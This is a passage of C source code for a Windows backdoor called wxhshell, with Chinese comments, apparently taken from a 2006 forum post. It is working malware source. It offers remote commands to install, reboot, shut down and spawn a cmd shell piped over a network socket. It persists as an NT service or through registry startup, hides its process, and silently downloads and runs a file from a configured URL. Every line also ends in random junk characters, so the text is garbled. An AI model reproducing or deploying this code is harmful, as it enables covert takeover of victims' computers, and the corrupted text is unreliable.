  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M(yWE0 3  
  else &^w "  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m?gGFxo  
  } `e`DSl D>  
  else { `Z#':0Z  
/MMnW$)  
    switch(cmd[0]) { ]rSg,Q >E  
  YNl".c  
  // 帮助 (.iwD&  
  case '?': { sIbPMu`&U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O)DAYBv^  
    break; Wsp c ;]&  
  } ;" D~F  
  // 安装 +6}CNC9Mp  
  case 'i': { *FC|v0D  
    if(Install()) Q"uK6ANp'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *2}f $8  
    else X Ai0lN{,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (>Nwd^  
    break; E!.&y4  
    } db=S*LUbl  
  // 卸载 , Y,^vzX6  
  case 'r': { IlwHHt;njp  
    if(Uninstall()) BPl% SL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "LH!Trl@k  
    else jt(GXgm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f`*VNB`  
    break; WgG$ r  
    } )#1!%aQ  
  // 显示 wxhshell 所在路径 2#00<t\  
  case 'p': { 2ga8 G4dU  
    char svExeFile[MAX_PATH]; SkC.A ?  
    strcpy(svExeFile,"\n\r"); b#"&]s-  
      strcat(svExeFile,ExeFile); S>p0{:zM  
        send(wsh,svExeFile,strlen(svExeFile),0); v,8Q9<=O  
    break; uL@%M8n  
    } DF>tQ  
  // 重启 9ZG:2ncdJ  
  case 'b': { lFduX D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ULWVS#t2  
    if(Boot(REBOOT)) /2hRL yeAZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&+)Kp]A  
    else { ?RIf0;G  
    closesocket(wsh); h@'CmIZc  
    ExitThread(0); :>o 0zG[;f  
    } FA;-D5=  
    break; T$AVMVq  
    } A0RSNAM  
  // 关机 FzP1b_i  
  case 'd': { 2`%a[t@M.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hg:$H9\%  
    if(Boot(SHUTDOWN)) eX lJ=S}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *W^a<Zm8>  
    else { g HkHAOe/  
    closesocket(wsh); GKOl{och  
    ExitThread(0); &r*F+gL  
    } ()w;~$J  
    break; D%LYQ  
    } Sv0?_3C  
  // 获取shell $.:x3TsA  
  case 's': { }~NXiUe  
    CmdShell(wsh); w El-  
    closesocket(wsh); CEBG9[|  
    ExitThread(0); `m8WLj  
    break; Pa+_{9  
  } !f&hVLs0  
  // 退出 `u7^r^>A  
  case 'x': { RHpjJZUV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $uJc/  
    CloseIt(wsh); $duT'G, -  
    break; .Pte}pM"v  
    } 6w(r}yO]  
  // 离开 S("dU`T?  
  case 'q': { ~IWdFUKk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'ey62-^r6  
    closesocket(wsh); B"\9slX  
    WSACleanup(); "wg$ H1K  
    exit(1); A L^tUcl  
    break; ggitUQ+t;G  
        } H~mp*S  
  } [~RO9=;L  
  } E/wxX#]\  
FC6~V6R  
  // 提示信息 XJKns  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V82I%gPF  
} R".$x{{  
  } dLF*'JjY  
sWMln:=  
  return; }<@-=  
} 1-N+qNSD`  
D/ sYH0.V$  
// shell模块句柄 l?rLadvc  
int CmdShell(SOCKET sock) q8-hbWNm4  
{ _dz ZS(7M6  
STARTUPINFO si; }p)Hw2  
ZeroMemory(&si,sizeof(si)); O^ui+44wp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xdl dUK[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t+q;}ZvG  
PROCESS_INFORMATION ProcessInfo; ;hV|W{=w  
char cmdline[]="cmd"; MEJX5qG6m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %.]#3tW  
  return 0; *RVCz|0%w  
} *5*#Z~dut8  
fA?v\'Qq/  
// 自身启动模式 9E8&~y  
int StartFromService(void) $pAVTz  
{ `?WN*__["  
typedef struct aaw[ia_EL  
{ S:`Gi>D  
  DWORD ExitStatus; 0s H~yvM5  
  DWORD PebBaseAddress; |HYST`  
  DWORD AffinityMask; s :BW}PM  
  DWORD BasePriority; %G,7Ul1f  
  ULONG UniqueProcessId; :) -`  
  ULONG InheritedFromUniqueProcessId; ]];pWlo!  
}   PROCESS_BASIC_INFORMATION; {:VK}w  
JC-> eY"O2  
PROCNTQSIP NtQueryInformationProcess; d=8.cQL:E  
,Wu$@jD/ ]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ceD6q~)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'W4v>0   
jAue+ tB  
  HANDLE             hProcess; )!cucY  
  PROCESS_BASIC_INFORMATION pbi; x3#:C=  
p~=z)7% e'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >3B {sn}  
  if(NULL == hInst ) return 0; 7CSz  
:@"o.8p   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }$L1A   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q _!tn*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2#3`[+g<n  
<H-kR\HF  
  if (!NtQueryInformationProcess) return 0; MMC$c=4"  
QA;,/iw`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G3+e5/0  
  if(!hProcess) return 0; F E{c{G<  
`w`N5 !  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QKx(S=4jQ  
MN5}}@  
  CloseHandle(hProcess); k\;D;e{  
wbcip8<t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n'{jc 6&|  
if(hProcess==NULL) return 0; Mp!1xx  
aXQAm$/ >  
HMODULE hMod; Q&w_kz.  
char procName[255]; &~/g[\Y  
unsigned long cbNeeded; 2RF3pIFrm  
L kl E,W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]v),[]Xs  
+/eJ#Xw3u8  
  CloseHandle(hProcess); m9MY d  
l;A'^  
if(strstr(procName,"services")) return 1; // 以服务启动 \v\ONp"  
);TB(PQsBT  
  return 0; // 注册表启动 );i J9+ V}  
} ;-Os~81o?  
);}M"W8  
// 主模块 y= f.;  
int StartWxhshell(LPSTR lpCmdLine) ?E V^H-rr  
{ @lWNSf  
  SOCKET wsl; $IX(a4'  
BOOL val=TRUE; IemhHf ^l  
  int port=0;  4q7H  
  struct sockaddr_in door; 4|I;z  
;r~1TUKb  
  if(wscfg.ws_autoins) Install(); %saP>]o  
}qoId3iY!7  
port=atoi(lpCmdLine); r(Z?Fs/  
!jU{ }RCR  
if(port<=0) port=wscfg.ws_port; "(p/3qFY  
7kA+F +f  
  WSADATA data; iHf):J?8 y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zjcSn7iu  
f{O-\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KehM.c^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ar,v/l>d4N  
  door.sin_family = AF_INET; SFtcO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (G} }h  
  door.sin_port = htons(port); gg^iYTpt  
N}NKQ]=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a?GXVQ  
closesocket(wsl); &Z!y>k%6  
return 1; {dxl8~/I  
} H Q[  
<oT1&C{  
  if(listen(wsl,2) == INVALID_SOCKET) { v@SHR0  
closesocket(wsl); Sw; kUJ  
return 1; Fq <JxamR  
} I~YV&12  
  Wxhshell(wsl); i M MKA0JM  
  WSACleanup(); j7a }<\  
lg2I|Z6DH  
return 0; [\<#iRcP  
8au Gz ,"  
} R2{]R&wtn0  
Uf7ACv)Dn  
// 以NT服务方式启动 "fhQ{b$i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YIZu{  
{ O`%F{&;29  
DWORD   status = 0; -bdWG]w"  
  DWORD   specificError = 0xfffffff; 2vG X\W% 3  
fibudkg'>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^q/$a2<4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X 5}=|%Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uqI'e_&=&5  
  serviceStatus.dwWin32ExitCode     = 0;  !O`j  
  serviceStatus.dwServiceSpecificExitCode = 0; p< 0=. ~  
  serviceStatus.dwCheckPoint       = 0; -EFdP]XO  
  serviceStatus.dwWaitHint       = 0; #6YpV)  
Hf1b&8&:K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); na9YlJ\  
  if (hServiceStatusHandle==0) return; \<xo`2b  
)16+Pm8  
status = GetLastError(); 5Uy *^C7M^  
  if (status!=NO_ERROR) us1$  
{ <"`f!k#[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |Rx+2`6Dp  
    serviceStatus.dwCheckPoint       = 0; g{sp<w0  
    serviceStatus.dwWaitHint       = 0; L;vglS=l;  
    serviceStatus.dwWin32ExitCode     = status; cmU0=js.  
    serviceStatus.dwServiceSpecificExitCode = specificError; =?+w5oI0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T95FoA  
    return; NKB["+S<  
  } j1->w8  
W+=j@JY}q9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <vV"abk  
  serviceStatus.dwCheckPoint       = 0; a=y%+E'a '  
  serviceStatus.dwWaitHint       = 0; ZlE=P4`X:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kf(Px%G6K  
} Eul3 {+]  
'~f*O0_  
// 处理NT服务事件,比如:启动、停止 Ei+lVLoC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qB K68B)  
{ i?@7>Ca  
switch(fdwControl) Evg#sPu\  
{ QQ{*j7i)  
case SERVICE_CONTROL_STOP: ;w]1H&mc*A  
  serviceStatus.dwWin32ExitCode = 0; 9eP*N(m<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bJ"2|VNH(  
  serviceStatus.dwCheckPoint   = 0; {E)tzBI;^  
  serviceStatus.dwWaitHint     = 0; XVfUr\=,T  
  { L8'4d'N+ >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "%dENK  
  } qRcg|']R  
  return; =MM+(mD  
case SERVICE_CONTROL_PAUSE: l:u1P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "5FP$oR  
  break; vR5X  
case SERVICE_CONTROL_CONTINUE: dQ_'8 )  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F=*t]X[z}  
  break; ,\3Cq2h  
case SERVICE_CONTROL_INTERROGATE: Z[Iej:o5  
  break; <6hs<qXqi  
}; nTs\zikP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r oG<2i F  
} b5jD /X4  
)g $T%  
// 标准应用程序主函数 XH*(zTd(?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R8!~>$#C6)  
{ edpRx"_  
nZL!}3@<  
// 获取操作系统版本 +Lc+"0*gV*  
OsIsNt=GetOsVer(); ']c;$wP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;QCGl$8A  
=u0a/2u|  
  // 从命令行安装 &,Loqr  
  if(strpbrk(lpCmdLine,"iI")) Install(); [J eq ?X9  
5S&Qj7kr  
  // 下载执行文件 '|v<^EH  
if(wscfg.ws_downexe) { |d6/gSiF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;O,&MR{;|n  
  WinExec(wscfg.ws_filenam,SW_HIDE); =)i^E9  
} Y Kp@ n8A  
L.K|]]u  
if(!OsIsNt) { a5pM~.]  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pjvb}q=  
HideProc(); =Ov,7<8o  
StartWxhshell(lpCmdLine); 7T!t*sSO'  
} eW3?3l`fvt  
else #_3-(H5u  
  if(StartFromService()) F2<Q~gQ;  
  // 以服务方式启动 3|G~_'`RLt  
  StartServiceCtrlDispatcher(DispatchTable); 9<P%?Q  
else 0lYP!\J3]%  
  // 普通方式启动 7hMh%d0d(_  
  StartWxhshell(lpCmdLine); _:Y| a>  
!&@t  
return 0; 9T`YHA'g  
}
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只看该作者 1 发表于: 2006-10-10
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